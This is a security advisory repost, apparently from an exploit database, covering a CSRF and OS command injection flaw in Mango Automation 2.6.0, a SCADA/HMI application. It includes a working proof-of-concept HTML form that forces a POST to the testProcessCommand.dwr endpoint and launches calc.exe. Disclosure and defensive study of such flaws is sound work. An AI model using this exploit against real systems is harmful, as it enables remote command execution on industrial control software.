Lucene search
+L

Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit

🗓️ 26 Sep 2015 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 119 Views

Mango Automation 2.6.0 CSRF Command Executio

Related
Code
<html><body>Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: The POST parameter 'c0-param0' in the testProcessCommand.dwr
method is not properly sanitised before being used to execute commands.
This can be exploited to inject and execute arbitrary OS commands as
well as using cross-site request forgery attacks.

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5261
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5261.php


20.08.2015

--



  
    <form action="http://localhost:8080/dwr/call/plaincall/EventHandlersDwr.testProcessCommand.dwr" method="POST">
<input name="callCount" type="hidden" value="1"/>
<input name="page" type="hidden" value="/event_handlers.shtm"/>
<input name="httpSessionId" type="hidden" value="
"/>
<input name="scriptSessionId" type="hidden" value="26D579040C1C11D2E21D1E5F321094E5866"/>
<input name="c0-scriptName" type="hidden" value="EventHandlersDwr"/>
<input name="c0-methodName" type="hidden" value="testProcessCommand"/>
<input name="c0-id" type="hidden" value="0"/>
<input name="c0-param0" type="hidden" value="string:C:\\windows\\system32\\calc.exe"/>
<input name="c0-param1" type="hidden" value="string:15"/>
<input name="batchId" type="hidden" value="24"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation